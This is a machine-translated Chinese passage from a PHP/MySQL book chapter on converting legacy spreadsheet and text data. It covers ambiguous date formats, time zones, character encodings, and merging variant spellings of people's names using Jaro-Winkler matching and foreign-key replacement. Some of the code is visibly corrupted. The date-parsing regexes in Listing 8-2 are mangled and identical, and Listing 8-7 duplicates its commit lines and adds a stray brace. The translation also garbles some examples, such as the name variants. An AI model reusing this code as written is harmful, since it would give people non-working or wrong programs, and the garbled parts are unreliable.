的列。如果您是从数据库源进行转换的,那么很有可能该列就是这样定义的,这样就没问题了。
但是,如果源是电子表格或其他文本文件,或者数据库列是文本类型,那么您就有麻烦了,因为无论谁输入日期,都可以把他或她想要的任何东西放在那里。每行的格式甚至都不一致。如果您在日期字段中看到类似“与 A/P 相同”的内容,请不要感到惊讶。
通常,如果你从文本文件转换,行数足够少,所以有人可以检查每个日期被正确转换。哪怕是几百,也值得去做。但是如果行数很大,有几千或几万行,你不可能检查每一行。你唯一的选择是对转换后的数据进行采样,并不断修改你的翻译方案,直到你确定你做对了为止。即使这样,一些日期也会转换不正确。
有两类问题:月份和日期的混淆以及两位数年份的模糊性。
通常,我看到的是以下形式之一的日期,其中 A、B 和 C 是数字:
AA-BB-CC
AA.BB.CC
AA/BB/CC
在美国,AA 通常是月份,BB 是日期,所以 2013 年 12 月 11 日应该写成 12-11-13。但是在欧洲,月和日是颠倒的,所以是 11-12-13。我不知道世界其他地方是怎么做的,这也没关系,因为一些美国人在欧洲工作,做他们习惯的事情,反之亦然,所以你真的不能依靠地理来解决这个难题。
您最多可以做到以下几点:
- 暂时假设每个文件至少与自身一致。
- 仔细观察数据,寻找不会有歧义的日期,比如 1999 年 9 月 20 日,不管怎么写,其中的 99 只能是一年,20 必须是一天,09 必须是一个月,因为其他数字都被指定了。
- 如果你所有的都是 2000 年以后的日期,年份就没用了,因为数字 01 到 12 可以是日、月或年。因此,假设最后两位数字是年份,并寻找日期和月份的组合,不能有歧义,因为这一天是 13 或更大。这将告诉你是否至少你正在看的文件的部分使用美国或欧洲惯例。
- 当你有了模式,写一个 PHP 函数来解析日期,允许分隔符是破折号,斜线,句号,或其他任何东西。
- 如果日期不完全是带有两个分隔符的六对数字,请将其记录为错误,以便以后检查。
- 当您完成了前面的所有编码后,对数据运行算法以报告您的发现。如果只有几百条记录,打印出原始数据和转换后的数据,并全部检查。如果有太多需要检查,就随机打印出几百个来检查。
你用 2000 年时使用的同样方法来处理两位数的年份:你根据上下文选择一年,该年之后的所有事情都被认为是在 20 世纪,在 21 世纪之前。例如,所有与 CWA 有关的日期都是 1948 年以后,也就是会议开始的时候,除了小组成员的生日,我们没有记录。所以如果两位数小于 48,加 2000 得到四位数年份;48 以上,加 1900。在另一个应用中,比方说一个图书数据库,您可能有 100 年或更久以前的出版日期,所以它变得更加棘手。查看是否有其他列可以提供线索,例如格式在 1985 年发生变化的书号,或者表示旧卷的收藏名称。您可能别无选择,只能手动更正日期(不是您个人,而是为您的客户工作的人)。
清单 8-2 展示了我在最近的一次转换中使用的函数convert_date
,以及一些测试用例的代码。
清单 8-2 。日期转换测试程序
test('01-02-03');
test('01-02-88');
test('02-Jan-03');
test('02-Jan-88');
test('January 2, 1988');
function test($s) {
echo "<br>$s --> " . convert_date($s);
}
function convert_date($s) {
if (empty($s))
return null;
if (preg_match("∼^(\d{1,2})-/.-/.$∼", trim($s), $m)) {
$y = $m[3] < 40 ? 2000 + $m[3] : 1900 + $m[3];
return "$y-{$m[1]}-{$m[2]}";
}
if (preg_match("∼^(\d{1,2})-/.-/.$∼", trim($s), $m)) {
$y = $m[3] < 40 ? 2000 + $m[3] : 1900 + $m[3];
$month = date('m', strtotime($m[2]));
return "$y-$month-{$m[1]}";
}
return date("Y-m-d", strtotime($s)); // can handle above, but not well defined
}
这是输出。
01-02-03 --> 2003-01-02
01-02-88 --> 1988-01-02
02-Jan-03 --> 2003-01-02
02-Jan-88 --> 1988-01-02
January 2, 1988 --> 1988-01-02
从第二次调用preg_match
开始的代码似乎是不需要的,因为strtotime
可以处理带有月份名称的日期(例如,“一月”),但是strtotime
的问题是它的行为没有精确定义。例如,它把 1957 年 1 月 2 日作为 2057 年,这是行不通的,因为 CWA 早在 1957 年就有会议。所以我包含了中间的案例以确保它被正确处理,以及与其他两个案例不匹配的strtotime
案例。这是一个有问题的决定——发出一条消息可能更好,这样我就可以跟踪数据中与这两个显式编码模式不匹配的任何日期。确保在没有针对您自己的情况进行调整的情况下,不要在您自己的程序中使用该函数。
请注意,函数convert_date
返回 YYYY-MM-DD 形式的字符串,而不是实际的日期对象。这是因为 MySQL insert
或update
语句会将格式正确的字符串正确地转换成日期。
阅读了前面的文本,您将不难理解为什么从具有类型为date
或datetime
的列的数据库转换比从文本文件转换要容易得多,也更可靠。但是,不幸的是,这种情况不会经常发生。如果您的客户已经有一个数据库,他或她可能不会要求您构建一个新的。实际情况是,通常你要处理的是电子表格和文本文件。
处理时间
就像日期一样,如果时间来自数据库,而不是来自电子表格或文本文件,就更有可能正确转换时间。像月/日/年这样的歧义是不存在的,因为每个人都同意唯一有意义的顺序是小时/分钟/秒。
检查数据以查看时间是否使用 24 小时制或具有上午/下午指示器。如果是后者,你会发现写指标的各种方式,比如10:20a
、10:20 AM
、10:20 A
等等。使用正确的正则表达式并不难处理这些问题。
到目前为止,最常见的分隔符是冒号,尽管有时会看到句号。破折号、斜线、逗号和其他字符很少出现,但请保持警惕。
最常见的问题是缺少时区指示。有时,您可以从数据库的位置推断时区。例如,一个诊所预约应用总是使用当地时区。一个更困难的例子是全球使用的在线信息系统。也许还有其他数据可以告诉你时区是什么。每个案例都不一样。
即使您有时区,也可能无法将其存储在 MySQL 数据库中。类型datetime
和time
不存储时区;类型timestamp
可以,但是在包含时区的insert
或update
语句中没有可以使用的文字。最好的方法是使用 MySQL CONVERT_TZ
函数将timestamp
从一个时区转换到另一个时区。(它对datetime
或time
值不起作用。)
如果时区很重要,就像它们对于地理数据一样,那么您最好将datetimes
以 ISO 8601 格式存储在一个文本字段中(例如1994-11-05T08:15:30-05:00
,从而完全绕过 MySQL 的时间工具。
字符转换
当人们在表单、电子表格或文本文档中输入数据时,他们通常会使用键盘似乎能做的任何事情来键入母语以外的字符。如果角色像他们期望的那样出现在屏幕上,并且像他们期望的那样打印出来,他们就很高兴。他们不知道他们用的是什么字符编码。如果事情看起来不对劲,他们就会瞎搞,直到事情变好,或者问别人如何进入角色,或者只是接受错误的角色,比如在“诺埃尔·考沃德”中而不是“诺埃尔·科沃德”
转换过程中的问题是将转换源中的字符编码转换成 PHP 程序和 MySQL 数据库所期望的编码。我的建议是让这个 UTF-8。将所有的 MySQL 编码选项设置为 UTF-8,将你的文本编辑器设置为 UTF-8,在 HTML 表单中使用 UTF-8,就像我在这本书里一直做的那样。
在你能翻译成 UTF 8 之前,你需要知道源代码是什么编码。这可能是输入数据的计算机操作系统使用的本地编码。例如,如果使用了 Mac,它可能是 Mac Roman。如果是 Windows 的话,很可能是 Windows 拉丁语 1。
如果您有一个文本文件,比如 CSV,请在文本编辑器中打开它,看看国际字符看起来是否正确。如果是这样,将编辑器的编码改为 UTF-8,验证字符仍然正确,并保存文件的副本。然后使用 UTF-8 版本。
这是个简单的例子。如果在文本编辑器中查看文件时字符看起来不正确,请查看是否可以通过调整编辑器的字符编码来使它们正确显示。我使用的编辑器是 BBEdit(仅用于 Mac OS),它有一个方便的“使用编码重新打开”命令,用于测试不同的编码。试几次就足以告诉我文件是什么,几乎总是 Mac Roman、Windows Latin 1 (ISO-8859-1)或 UTF-8。然后我用 UTF-8 保存了文件的副本。另一个选择是我在 Mac App Store 上找到的价值 3 美元的实用文本编码转换器。在 Windows 上,免费的 Notepad++允许你通过从编码菜单中选择一种来轻松尝试不同的编码,这真的很方便,甚至比 BBEdit 还要好。
如果转换源文件是 UTF 8 版本,PHP 将保持它读取的字符串不变,因此来自该文件的任何字符串仍然是 UTF 8 版本。如果你已经为 UTF 8 设置了 MySQL,就像我经常做的那样,字符串可以直接进入数据库。
转换后
一旦你开发并运行了转换程序,你就可以看到可能不愉快的结果了。
测试转换后的数据
当您用转换后的数据加载数据库时,您会希望通过比较新数据库中的内容和旧系统中的内容来测试转换。有两种有效的方法可以做到这一点。
- 行的直接比较。编写一个 PHP 程序来显示包含转换数据的每个表中的行,以及转换源中的相应数据。如果您只有几百个已转换的行,请对它们进行比较。如果数量太多,随机选择 200 行左右。如果发现错误,请停止测试,修复转换程序,重新运行转换,然后重新开始测试。
- 既然你无论如何都要实现报告,你最好在转换之后,在你实现应用的主要部分之前实现它们。然后,您可以将新报告与旧报告进行比较。
如果在最初的几次转换测试中,您发现了数据库模式中的问题,请不要感到惊讶。这就是测试的全部意义!但是在几轮查找错误、进行修复和恢复测试之后,事情会平静下来,您应该能够以及格分数通过测试。
修复坏数据
假设您的转换程序检测到错误的数据,例如日期格式错误或必填字段中缺少数据(例如,性别或出生日期)。有两种处理坏数据的方法。
- 修复旧系统中的数据,在数据完好之前不接受最终转换,或者
- 继续加载数据,即使它是坏的,并在新系统中修复它。
第一种方法的缺点是,你可能不知道如何修复数据,或者你知道,但旧的系统不能很好地修复它。另一个问题是,修复所有旧数据可能需要几天或几周的时间,这会延迟转换和转换测试的完成。
第二种方法的缺点是坏数据可能不会进入数据库。像 2007-02-30 这样的日期根本不会转换,或者说即使它转换成了什么也不会转换成 2 月 30 日。
因此,这两种方法都不完美。
在某些情况下,您可以在转换期间放松验证,稍后再收紧验证。例如,所有 CWA 小组成员必须被指定为“新成员”或“老成员”,如果他们只参加一年,他们就像新成员一样。我们没有过去小组成员的信息,也不想重建它,所以我最初允许该列为空。这正是 null 的用途:表示“未知”然后,在转换之后,我将该列设为非 null,以确保所有新数据都具有所需的值。(MySQL 将新的非法 nulls 改为空字符串。)但是这种方法只在有限的情况下有效。
对于看起来部分正确的数据项,所以你不想完全抛弃它们,比如 2007 年 2 月 30 日,如果可行并且不会不必要地延迟项目,你可以尝试在旧系统中进行修复。如果您必须进行转换,您别无选择,只能将坏数据存储在另一个列中,可能是一个名为date_received_raw, as type text
的列,它位于正式列date_received
的旁边。
也许你可以看出,我的偏好是以某种方式将数据放入数据库。我喜欢让事情向前发展。
保存未转换的数据
当您和您的客户检查转换的质量时,甚至之后,您希望能够跟踪数据库中的数据是如何从其转换源到达那里的。最简单的方法是将原始转换数据放入一个列中。
清单 8-3 展示了当我从一个文本文件转换时,我是如何做的,大多数时候是这样的:在我读完每一行数据后,我把它组合成一个字符串。
清单 8-3 。将未转换的数据保存在数据库中
...
$row = array();
$row['name_first'] = $data['Name_First'];
$row['name_last'] = $data['Name_Last'];
$row['appellation'] = $data['Appellation'];
$row['home_street1'] = $data['Home Address'];
$row['home_city'] = $data['Home City'];
...
$row['conversion_data'] = conversion_data($row, basename($path));
$this->db->update ('person', ..., $row);
...
function conversion_data($row, $label) {
$s .= "$label\n\n";
foreach ($row as $k => $v)
if (!empty($v))
$s .= "$k: $v\n";
return $s;
}
conversion_data
字段的典型值是(不是他的真实地址)
Participant 2007-UTF8.csv
name_first: Dave
name_last: Grusin
appellation: Musician; Composer; Arranger
home_street1: 123 Main Street
home_city: Somewhere
这个例子只有几个简单的字段,并没有真正说明轻松访问这些数据有多重要。也许更好的例子是这个实际数据的摘录,它要复杂和神秘得多(一些个人数据被更改)。
...
Reply: Accept
ArrivalNote: LGA 745
DepartureNote: 310 LGA
ConfirmationSheet?: No
TopicsReceived?: Yes
TopicsLetterSent?: 2008-12-19
ReplyFollowup?: No
Bio_Received: Yes
Photo_Received: Yes
Thank_You_Letter_Sent?: No
Companions: 1
CompanionNames: John Smith
NeedsHousing?: Needs Housing
Primary_Phone: 303.123.4567
Note: **late tues eve. **as close to cs as poss. **same contact info** us ly photo **sent bio 2/18 changes **DIFFERENT FLIGHT FROM SMITH
PetsOK: Yes
SmokingOK: No
Gender: F
...
Note
字段根本没有被转换,我甚至不确定它是什么意思(例如,“us ly photo”),但它在新数据库中是完整的,以防我们在那里找到我们需要的东西。
必要时,如果您发现在转换到新系统几周后,转换出现了问题,那么您很有可能能够解析conversion_data
字段中的文本并纠正错误。这比试图追踪原始文件和相关文本行的位置要方便和可靠得多。
变体名称
大多数情况下,当您从电子表格、文本文件和非标准化的数据库进行转换时,您会有一个人的数据转换为不同的人,因为在不同的源中该姓名的拼写不同。您最终会得到多条记录,名字分别为“大卫·麦克米伦”、“大卫·麦克米伦”和“大卫·麦克米伦”,都是同一个人,但在数据库中有三个不同的行。这些行需要合并,这样这个人就只有一个名字,最好是正确的名字。
转换后合并
前面,我提出了一些您可能希望在转换之前修复源代码中的坏数据的原因,以及一些您可能希望在转换之后修复数据的原因。对于不同的名称拼写,after 通常是最好的。
您可以尝试在转换之前解决这些问题,但很可能很多问题仍然不正确。许多打字员不能很快分辨出“McMillen”和“MacMillen”之间的区别,所以你仍然需要清理变体。或者,您可能有一个像 CWA 的 panel archive 电子表格这样的案例,它有 66 列宽,7700 行高,几乎无法处理。试图使名字一致可能导致的意外损坏得不偿失。这是假设 CWA 办公室有人可以做这项工作,但当我开始实施 CWA 的数据库时,情况并非如此,因为 2013 年 4 月的会议计划正在紧锣密鼓地进行。
此外,有一种有效的方法来呈现不同的名称,选择最佳名称,并清理其他名称,我现在将解释这一点。
发现名称变体
我设计的这个系统的核心是一个计算两个字符串有多近的函数。PHP 有一个名为levenshtein
的内置函数,用于计算“Levenshtein 距离”。几年前,当我在 Richardson (Texas)学区学生数据库中遇到类似情况时,我使用了这个函数,但后来我发现了一个更好的函数,叫做JaroWinkler
,在 Cohen、Ravikumar 和 Fienberg 的一篇论文中有描述(“姓名匹配任务的字符串距离度量比较”),你可以在cs.cmu.edu/∼pradeepr/papers/ijcai03.pdf
找到它。我使用 Ivo Ugrina 的 PHP 实现,你可以在iugrina.com/files/JaroWinkler/JaroWinkler.phps
获得。
该功能是
JaroWinkler($string1, $string2, $toupper = false, $PREFIXSCALE = 0.1)
我保留最后一个参数,并将第三个参数设置为true
。它返回一个介于 0 和 1 之间的数字,1 表示完全匹配。
为了查看该函数做了什么,这几行
echo '<br>' . JaroWinkler('McMillen', 'MacMillen', true);
echo '<br>' . JaroWinkler('David', 'Dave', true);
echo '<br>' . JaroWinkler('apples', 'oranges', true);
echo '<br>' . JaroWinkler('watermelon', 'sharkskin', true);
制作了这个
0.96666666666667
0.84833333333333
0.64285714285714
0.54444444444444
这些数字意味着前两对名字接近,后两对不接近。自然,自动匹配并不完美,所以它必须嵌入一个系统,允许一个人做最后的决定。没有标准的数字来区分“接近”和“不接近”;视情况而定。你可以在清单 8-4 中看到我的选择。
组织数据库搜索
因为数据库中有数百个潜在的匹配,所以我按首字母对它们进行细分,这样用户就可以一次处理几个。图 8-1 显示了初始屏幕,允许用户选择要处理的字母。
图 8-1 。选择字母的初始请求屏幕
每个字母按钮导致调用MyPage::do_letter
,它通过首字母查询person
表。该方法如下所示(我将在清单 8-5 中完整展示):
protected function do_letter($letter) {
...
$stmt = $this->db->query('select person_pk, name_last,
name_first, name_middle
from person where name_last like :letterpat and
replacedby_fk is null
order by name_last, name_first, name_middle',
array('letterpat' => "$letter%"));
while ($row = $stmt ->fetch()) {
...
$this->find_matches($row['person_pk'],
$row['name_last'], $row['name_first'],
$row['name_middle'], $names, $pks);
...
}
....
}
(注意,在 CWA 数据库中,我将主键列命名为person_pk
,而不是person_id
,这是我现在的做法,因为它是一个代理键。)
如果对包含不同拼写的person
行的引用将被对优选行的引用所替换,则被替换行的replacedby_fk
列被设置为优选行的主键(person_pk
),从而不会删除任何数据,并且可以看到进行了哪些替换。这
replacedby_fk is null
select
中的测试防止考虑已经被处理的行。(在“替换外键”一节中有更多关于这方面的内容)
真正的工作是在函数find_matches
中完成的,在清单 8-4 中,它取一个名字的三个部分(姓、名和中间名)并返回两个数组:$names
包含匹配的名字,$pks
包含它们对应的主键。
清单 8-4 。MyPage::find_matches
方法
protected function find_matches($pk, $last, $first, $middle,
&$names, &$pks) {
if (strlen($last) < 2)
return;
$pfx = mb_substr($last, 0, 2, 'UTF-8');
$stmt = $this->db->query('select person_pk, name_last,
name_first, name_middle
from person where name_last like :pfxpat and
person_pk != :pk and
replacedby_fk is null order by name_last, name_first,
name_middle',
array('pfxpat' => "$pfx%", 'pk' => $pk));
while ($row = $stmt ->fetch()) {
$jw1 = JaroWinkler($last, $row['name_last'], true);
if (empty($first))
$jw2 = $jw3 = $jw4 = 1;
else {
$name1 = explode(' ', trim($first));
$name2 = explode(' ', trim($row['name_first']));
$jw2 = JaroWinkler($name1[0], $name2[0], true);
$jw3 = JaroWinkler($name1[0], $row['name_middle'], true);
$jw4 = JaroWinkler($name2[0], $middle, true);
}
if ($jw1 > .9 && ($jw2 > .75 || $jw3 > .75 || $jw4 > .75)) {
$names[] = $this->build_name($row);
$pks[] = $row['person_pk'];
}
}
}
顶部是一个select
,用于那些还没有匹配的以相同的两个字母开头的名字,我发现这对于 CWA 数据集很有效,但你可能想根据自己的情况进行调整。在进行这一点和后面描述的其他权衡时,我不想要太多的匹配——超过几百个就太麻烦了。我还希望标准足够宽松,这样我们就能得到足够多的匹配。
第一次 JaroWinkler 比较是使用传入的姓氏和每个选定行的姓氏,存储在$jw1
中。另外三个度量标准,$jw2
、$jw3
和$jw4
,用于名和中间名。如果缺少名字,这些将被设置为 1,这意味着测试将只使用姓氏。(有了这个数据,如果名字不见了,中间名的任何东西都是相当没有意义的。)
多年来,不同的人在源数据文件中输入姓名时,有时会将名字和中间名放在同一个字段中,因此两个explode
行将名字字段分开。$jw2
是名字字段中第一个单词(可能是唯一的单词)的度量。$jw3
使用selected
行的名字字段的第一个字和传入的中间名,$jw4
反之亦然。这适用于 CWA 的数据,因为小组成员经常使用他们的中间名。例如,前一年是“r·巴克明斯特·富勒”,第二年是“巴克明斯特·富勒”(如果您想知道,在源数据中,以首字母作为名字的名字总是将首字母和中间名输入到名字字段中,所以我编程的比较方式是有效的。您必须为您自己的数据结构修改进行比较的确切方式。)
无论如何,我认为如果姓的度量是. 9,任何名和中间名的度量是. 75,那么这个比较就是匹配的。如果匹配的话,名字和它的主键被存储在$names
和$pks
数组中。函数build_name
从行数据中构造一个字符串名称。
function build_name($row) {
return htmlspecial (trim(
"{$row['name_last']}, {$row['name_first']} {$row['name_middle']}"
));
}
为了了解find_matches
在实践中的作用,这里有一些实际的比赛。
Abrams, Karen
Abrams, Kevin
Adams, Tom
Adams, W. Thomas
Bakeman, Liz
Bake, Elizabeth
Bakeman, Nina Elizabeth
Elliott, Patricia
Elliot, Patricia
仅凭我的直觉,不了解历史小组成员,艾布拉姆斯和贝克匹配看起来是错误的,而其他人看起来是正确的,尽管在没有检查更多数据的情况下无法确定。汤姆·亚当斯和 w·托马斯·亚当斯可能是两个不同的人。我最终发现,莉兹·贝克曼和尼娜·伊丽莎白·贝克曼实际上是两个不同的人。稍后我将介绍您如何决定采取什么行动。首先我将解释完匹配代码。
回到主select
循环,清单 8-5 展示了整个do_letter
函数,这样你可以看到来自find_matches
的结果是如何处理的。
清单 8-5 。MyPage : : do_letter 方法
protected function do_letter($letter) {
$found = false;
$skip = array();
$stmt = $this->db->query('select person_pk, name_last,
name_first, name_middle
from person where name_last like :letterpat and
replacedby_fk is null
order by name_last, name_first, name_middle',
array('letterpat' => "$letter%"));
while ($row = $stmt ->fetch()) {
if (!in_array($row['person_pk'], $skip)) {
$names = array($this->build_name($row));
$pks = array($row['person_pk']);
$this->find_matches($row['person_pk'],
$row['name_last'], $row['name_first'],
$row['name_middle'], $names, $pks);
if (count($names) > 1) {
for ($i = 0; $i < count($names); $i++) {
$pkstring = '';
foreach ($pks as $p)
if ($p != $pks[$i])
$pkstring .= ',' . $p;
$pkstring = substr($pkstring, 1);
echo "<br>{$names[$i]}";
$this->button('Choose',
array('action_choose' => 1,
'pk' => $pks[$i],
'others' => $pkstring),
'persons_link.php', true);
$this->button('View',
array('action_detail' => 1,
'pk' => $pks[$i]),
'person.php', true);
$found = true;
}
$skip = array_merge($skip, $pks);
echo '<hr>';
}
}
}
if (!$found)
echo "<p>Letter {$letter}: No persons found.";
}
关于$skip
数组:它包含所有被处理行的主键,或者是在do_letter
中选择的,或者是由find_matches
匹配的。跳过任何已经考虑过的行,因为将“Adams,Tom”与“Adams,W. Thomas”进行匹配,然后再将“Adams,W. Thomas”与“Adams,Tom”进行匹配是多余的。在while
后面有in_array
的那一行跳过。
假设我要处理一行(不在$skip
数组中的一行),我用所选行的列值初始化$names
和$pks
数组,然后调用find_matches
。如果它找到了什么(count($names) > 1
),我会遍历这些名字,并通过两个按钮输出每个名字。
- Choose 按钮选择我们想要保留的名称,一个或多个与之匹配的名称将被替换。
- “查看”按钮显示与姓名相关的完整记录,以帮助用户决定他或她想要保留哪个姓名以及应该替换哪些相似的姓名。有时在用户准备做决定之前需要几分钟的研究。
选择按钮创建一个新的弹出窗口(true
的最后一个参数),打开到页面persons_link.php
,带有两个参数,被选择的人和潜在匹配列表。替换工作由persons_link.php
完成。
潜在匹配的列表作为参数others
的值传递,您可以在 Choose 按钮的代码中看到。因为 PHP 数组不能通过 JavaScript 直接传递给 PHP(这是传递参数的方式),所以主键列表被转换成一个字符串,其内容如下:
$pkstring = '';
foreach ($pks as $p)
if ($p != $pks[$i])
$pkstring .= ',' . $p;
$pkstring = substr($pkstring, 1);
最后一行去掉了前面多余的逗号。我发现在最后去掉它比写额外的代码来避免把它放进去更容易。(我没有用implode
是因为others
数组一定不能包含被选中的人。)
为了阐明“选择”按钮的外观,请使用名称
Alison, Mike
Allison, Michael J.
Allison, Mitchell
第一个可能有23456
作为主键,其他选项是24598,21034
,第二个有24598
和23456,21034
,第三个有21034
和23456,24598
。换句话说,三个主键中的每一个都出现在一个按钮后面,另外两个作为其他选择。图 8-2 显示了实际输出的截图。
图 8-2 。匹配的名称和按钮
如果您希望,比如说,Michael J. Allison 成为首选行,并更改对 Mike Alison 的所有引用,那么您可以单击 Michael J. Allison 旁边的选择按钮。这些参数通过 POST 发送到页面persons_link.php
。
pk = 24598
others = 23456,21034
当从 Choose 按钮调用时,文件persons_link.php
显示一个表单,这样用户可以指示哪些人应该被选中的人替换,如清单 8-6 中的所示。
清单 8-6 。MyPage::action_choose
方法
protected function action_choose() {
$others = explode(",", $_POST['others']);
$chosen_name = $this->GetNameByID($_POST['pk']);
$f = new Form();
$f->start($_POST);
$f->hidden('pk', $_POST['pk']);
echo <<<EOT
<p>Do you want this person:
<p style='margin-left:20px;'>$chosen_name
<p>to replace these checked persons?
EOT;
foreach ($others as $p)
$f->checkbox("replace[$p]", $this->GetNameByID($p));
echo <<<EOT
<p>The replaced persons will not be deleted,
so you can copy<br>any required data into the person
that replaces them.
EOT;
$f->button('action_replace', 'Replace');
echo "<button class=button type=button
onclick='window.close();'>Cancel</button>";
$f->end();
}
传递给Form::checkbox
的字段名是replace[$p]
,这意味着当方法MyPage::action_replace
接收到表单数据时,被检查的名字将组成数组$_POST['replace']
。我将在清单 8-7 中展示如何访问这个数组。
方法GetNameByID
,没有显示,返回一个人的名字,给定主键。图 8-3 显示了显示内容的示例;用户选中了 Mike Alison,没有选中 Mitchell Allison,因为他是另一个人。
图 8-3 。选择被替换人员的表格
具有讽刺意味的是,虽然我们想要的人 Michael J. Allison 和我们想要替换的人 Mike Alison 最引人注目的一点是他们的名字不同,但就数据库模型而言,这并不是真正的问题。毕竟,很容易设计出一个人可以有不同的名字(Mike 可能是他的昵称)。回想一下模型:问题是我们有两个实体,而我们只想要一个。因此,对实体 Mike Alison 的每个引用(外键)都必须替换为对实体 Michael J. Allison 的引用。这将使模型符合只有一个 Michael j .(“Mike”)Allison 出席会议的现实。
替换外键
从代码中可以看出,Cancel 按钮只是关闭窗口。Replace 按钮将表单数据发送回persons_link.php
,由清单 8-7 中的代码处理。
清单 8-7 。MyPage : : replace 方法
protected function action_replace() {
if (empty($_POST['replace'])) {
$this->message('No replacements were checked.');
return;
}
$this->db->query("begin");
$pk = $_POST['pk'];
foreach ($_POST['replace'] as $p => $v) {
echo '<p>"' . $this->GetNameByID($pk) . '" will replace "' .
$this->GetNameByID($p) . '"';
$this->replace($pk, $p, 'donation', 'donor1_fk');
$this->replace($pk, $p, 'donation', 'donor2_fk');
$this->replace($pk, $p, 'house', 'committee_contact_fk');
$this->replace($pk, $p, 'invitation', 'invitee_fk');
$this->replace($pk, $p, 'panel', 'moderator_fk');
$this->replace($pk, $p, 'panel', 'producer1_fk');
$this->replace($pk, $p, 'panel', 'producer2_fk');
$this->replace($pk, $p, 'person', 'committee_contact_fk');
$this->replace($pk, $p, 'person', 'companion_to_fk');
$this->replace($pk, $p, 'person', 'contact_fk');
$this->replace($pk, $p, 'person', 'hyphen_fk');
$this->replace($pk, $p, 'person', 'introduced_by_fk');
$this->replace($pk, $p, 'status', 'person_fk');
$this->replace($pk, $p, 'topic', 'participant_fk');
$this->replace($pk, $p, 'trip', 'driver_arrival_fk');
$this->replace($pk, $p, 'trip', 'driver_departure_fk');
$this->replace($pk, $p, 'trip', 'participant1_fk');
$this->replace($pk, $p, 'trip', 'participant2_fk');
$this->replace($pk, $p, 'venue', 'contact_fk');
$this->link_person($pk, $p);
}
$this->db->query("commit");
$this->message('All updates were successful.', true);
}
$this->db->query("commit");
$this->message('All updates were successful.', true);
}
$_POST['replace']
数组的每个元素都是一个人的主键,在数据库中的任何地方都将被所选择的人的主键$_POST['pk’]
替换。这项工作是通过MyPage::replace
的方法完成的。九个表中有 19 个外键需要替换。最后,对方法MyPage::link_person
的调用通过replacedby_fk
字段将被替换的人链接到替换的人,因此我们可以跟踪进行了哪些替换,正如我前面解释的那样。
action_replace
函数是事务的一个很好的例子,在这种情况下,围绕所有被替换的人的所有更新。这样,如果出现错误,就可以清楚地知道数据库处于什么状态:未更改。
下面是MyPage::replace
函数。
protected function replace($pk, $p, $table, $col) {
$this->db->query("update $table set $col = :pk where $col = :p",
array('pk' => $pk, 'p' => $p));
echo "<p class=replace-msg>$table.$col updated</p>";
}
而这里是MyPage::link_person
。
protected function link_person($pk, $p) {
$this->db->query('update person set replacedby_fk = :pk
where person_pk = :p',
array('pk' => $pk, 'p' => $p));
echo "<p class=replace-msg>replaced person linked to
replacing person</p>";
}
图 8-4 显示了一些示例输出。
图 8-4 。成功更新的确认
查找外键
如何获得要替换的外键的完整列表?有三种方法可以做到这一点,假设您已经谨慎地将外键约束合并到您的表定义中,就像我一直做的那样。第一种是查看 MySQL Workbench 中的模式或您用来管理数据库的任何工具,并找到引用person.person_pk
的外键。这仅适用于小型、简单的数据库。
第二种方法是将整个模式导出为 SQL 的文本文件,并用文本编辑器扫描它。您可以使用 MySQL 工作台管理窗口上的数据导出命令。检查导出到独立文件和跳过表数据。在文本编辑器中,搜索如下行:
CONSTRAINT `constraint_donation_donor1_fk` FOREIGN KEY (`donor1_fk`)
REFERENCES `person` (`person_pk`) ON DELETE NO ACTION ON UPDATE NO ACTION,
CONSTRAINT `constraint_donation_donor2_fk` FOREIGN KEY (`donor2_fk`)
REFERENCES `person` (`person_pk`) ON DELETE NO ACTION ON UPDATE NO ACTION
你要找的是对person.person_pk
的引用。然后在文本编辑器中修改文本,直到得到您需要的对replace_person
的调用。
第三种,也是目前最好的方法,是对 MySQL 用来存储用户模式结构的信息模式运行查询。您可以使用concat
函数获得 PHP 代码形式的结果,以便直接整合到 action_replace 函数中。以下是我使用的查询:
select
concat("$this->replace($pk, $p, '", table_name, "', '", column_name, "');")
from information_schema.key_column_usage
where referenced_table_name = 'person' and
referenced_column_name = 'person_pk' and
table_schema = 'cwadb'
order by table_name, column_name
实际上,输出是
$this->replace($pk, $p, 'donation', 'donor1_fk');
$this->replace($pk, $p, 'donation', 'donor2_fk');
$this->replace($pk, $p, 'house', 'committee_contact_fk');
$this->replace($pk, $p, 'invitation', 'invitee_fk');
$this->replace($pk, $p, 'panel', 'moderator_fk');
$this->replace($pk, $p, 'panel', 'producer1_fk');
$this->replace($pk, $p, 'panel', 'producer2_fk');
$this->replace($pk, $p, 'person', 'committee_contact_fk');
$this->replace($pk, $p, 'person', 'companion_to_fk');
$this->replace($pk, $p, 'person', 'contact_fk');
$this->replace($pk, $p, 'person', 'hyphen_fk');
$this->replace($pk, $p, 'person', 'introduced_by_fk');
$this->replace($pk, $p, 'person', 'replacedby_fk');
$this->replace($pk, $p, 'status', 'person_fk');
$this->replace($pk, $p, 'topic', 'participant_fk');
$this->replace($pk, $p, 'trip', 'driver_arrival_fk');
$this->replace($pk, $p, 'trip', 'driver_departure_fk');
$this->replace($pk, $p, 'trip', 'participant1_fk');
$this->replace($pk, $p, 'trip', 'participant2_fk');
$this->replace($pk, $p, 'venue', 'contact_fk');
我删除了person.replacedby_fk
(加粗)的行,因为该列供变体名称代码本身使用。还剩 19 行。
所有这三种技术的缺点是,如果数据库以这种方式改变,您必须记住包括任何引用person.person_pk
的新外键。一个改进可能是用检索到的表和列名直接调用replace
,而不是生成 PHP 代码复制并粘贴到程序中。类似于以下内容:
$stmt = $this->db->query(
"select table_name, column_name
from information_schema.key_column_usage
where referenced_table_name = 'person' and
referenced_column_name = 'person_pk' and
table_schema = 'cwadb'
order by table_name, column_name");
while ($row = $stmt->fetch())
$this->replace ($pk, $p, $row['table_name'], $row['column_name']);
它很聪明,但是使用起来太危险了。您真的不希望完全基于信息模式上的查询结果,将外键插入到您从未见过其身份的列中。实际上,已经有一个 bug: person.replacedby_fk
因为被选中的人得到了一个非被选中的键的值,这是完全错误的,因为被选中的人应该让那个字段为 null,因为它没有被替换。(被替换人员非空。)我们可以放入一个测试来避免为该列调用replace
,但是,即使有了这个修正,这个循环运行起来还是太危险了。我只想查看打给replace
的电话。
标记替换行
我喜欢做一些事情来帮助用户理解被替换的人发生了什么。
- 当进行搜索时,我将替换人员显示为灰色。另一种方法是完全跳过它们,这很容易做到,就像我之前展示的,通过测试一个空的
replacedby_fk
